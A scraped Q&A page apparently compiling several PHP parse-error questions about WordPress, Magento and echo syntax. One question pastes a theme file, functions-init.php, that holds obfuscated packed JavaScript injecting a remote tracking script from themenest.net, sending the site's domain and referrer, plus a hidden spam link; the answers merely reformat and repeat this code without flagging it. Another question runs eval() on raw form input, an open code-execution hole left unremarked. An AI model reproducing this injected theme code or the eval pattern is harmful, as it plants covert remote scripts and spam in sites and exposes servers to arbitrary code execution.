Error durring editing functions.php (Wordpress) - php

I'm getting the error
Parse error: syntax error, unexpected '}' in /var/www/humanityx/wp-content/themes/wordpress-bootstrap-master/functions.php on line 1127
/* Display the post meta box. */
function smashing_post_class_meta_box( $object, $box ) {
?>
<?php wp_nonce_field( basename( __FILE__ ), 'smashing_post_class_nonce' ); ?>
<p>
<a class="post-btn-blue">Button</a>
<br />
<span class="short-blue">[buttonblue]Link Text[/buttonblue]</span>
<br />
</p>
<?php
}
I run the whole code in PHP Code checker and there is no problem. Also PHPStorm is not viewing any error.
https://pastebin.com/U45wqnpX
I have PHP 7.1

Just my two cents.....
In the function 'smashing_add_post_meta_boxes' you set the callback 'smashing_post_class_meta_box'.
According to the WordPress codex:
$callback
(callable) (Required) Function that fills the box with the desired content. The function should echo its output.
When I look at 'smashing_post_class_meta_box' the function perhaps does not really 'echo' anything and therefore gives unexpected output resulting in the unexpected '}' not picked up by PHPStorm?
Like I said, not sure, could not test, but wanted to help.

Related

display div inside php using echo

I want display my button if it have isset($_GET). I am trying to do like this.
<?php if(isset($_GET['project_id'])){
echo '<div class="add_btn_primary"> Project Users </div>';
}?>
its giving me error like
Parse error: syntax error, unexpected 'project_id' (T_STRING), expecting ',' or ';' in C:\xamppp\htdocs\mayank\add_project.php on line 101
I am not getting idea what I should do for echo project_id in div. Let me know if someone can help me for that.
Thanks
Thats incorrect to use echo inside another echo and how can you start a new php tag without closing the first.
The correct way is to concatenate the variable along the string passed in echo, here is how
<?php if(isset($_GET['project_id'])){
echo '<div class="add_btn_primary"> Project Users </div>';
}?>
instead of breaking the php tags break the ' quotes to concatenate the value in the string.
Why do you need again tag inside echo just use it as below:
<?php
if(isset($_GET['project_id']))
{
echo ('<div class="add_btn_primary"><a href="manage_project_users.php?project_id='.$_GET["project_id"].'>Project Users</a></div>');
}
?>

Enable multicurrency feature in magento 1.9

I am using magento 1.9 with ultimo responsive theme.
As i want to enable multi currency drop down in my homepage. I use the code from this site.
After proper coding on the pages i get an error on homepage:
Parse error: syntax error, unexpected '?>', expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in C:\xampp\htdocs\app\design\frontend\ultimo\default\template\page\html\header.phtml on line 258. from the line statement.
Related code:
<?php echo $this->getChildHtml('topSearch') ?>
<p class="welcome-msg"><?php echo $this->getWelcome() ?> <?php echo $this->getAdditionalHtml() ?></p>
<?php echo $this->getChildHtml('topLinks') ?>
<?php echo $this->getChildHtml('store_language') ?>
<!-- START How to add Currency selector to Magento's header -->
<?php echo $this->getChildHtml('custom_currency_selector') ?>
<!-- END How to add Currency selector to Magento's header -->.
So please help me in this matter. and enable multi currency dropdown. as I am new to magento.
Try this one:
<?php echo $this->getLayout()->createBlock('directory/currency')->setTemplate('directory/currency.phtml')->toHtml() ?>

Parse error: syntax error, unexpected '}'

I wonder if somebody would spare a minute to look over a code and help me. I'm not php savvy and I need a bit of help.
I've installed a theme onto my wordpress, and when I activated it I got this error message:
Parse error: syntax error, unexpected '}' in /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php on line 1
The message displays on both my front end domain, and also on my back end wordpress admin area.
I'm guessing I've one too many or one too little brackets. But I'm not sure where. I'm unable to see the actual error, because I'm not familiar with php coding. All I know is it is in line 1 and it has to do with "}"
The whole file consists only of 2 code lines, and if anyone can help I'd really appreciate it.
This is the entire code as it appears in functions-init.php
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>
Can anyone help me please. I've goggled and I've searched forums, and the web, yet I didn't find solution.
Thanks ahead.
This may be a mere question of code formatting, try this:
<?php
if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
}
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew'))
{
function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
}
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Such a code formatting issue:
<?php
if (!function_exists('insert_jquery_slider')) {
function insert_jquery_slider()
{ ?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php }
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
function insert_jquery_slidernew()
{ ?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php }
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Please close the topic.
Thanks.

HTML inside sprintf

Is it possible to do something equivalent to this in PHP >= 5.3.0?
echo sprintf(_('By %s'), ?>
<span class="author-name"><?php echo $authorName; ?></span>
<?php ); ?>
If I use said syntax I receive the following error, which is being caused by the first ?>,
Parse error: syntax error, unexpected '?>' in ...
Basically, what I'm trying to do is to insert HTML with PHP tags inside, as a parameter for the sprintf function without treating the HTML as a string ('<span class="author-name">' . $authorName . '</span>').

How do I evaluate from a textarea?

here's what I tried:
<form method="POST" action="new.php">
<font color="#C0C0C0"><small>It doesn't highlight it but it still works. And feel free to resize it!</small></font><br />
<textarea name="high" class="prettyprint">Insert code here</textarea><br />
<button class="btn btn-large btn-success" type="submit">Debug</button>
</form>
</center>
<h1>Debug Info:</h1>
<pre><?php if(isset($_POST['high'])){
$high = (get_magic_quotes_gpc()) ? stripslashes($_POST['high']) : $_POST['high'];
eval($high);
}?></pre>
I need it to evaluate the code from the textarea so it executes the PHP code (i put echo 'hi' in the textarea and it gives this error:) Parse error: syntax error, unexpected '<' in /home/a3827523/public_html/new.php(44) : eval()'d code on line 1
I don't know what is the problem but can someone help?
(i put echo 'hi' in the textarea and it gives this error:)
because you miss a ";" at the end of line
--
additional:
I tried your code in my environment, got the same error in these two case below:
Case 1 in textarea begin code with php tag:
<?php
echo 'hi';
?>
php manual wrote:
mixed eval ( string $code_str )
The code string to be evaluated. code_str does not have to contain PHP
Opening tags.
Case 2 some syntax error code in textarea:
echo 'hi'
semicolon missing.

Categories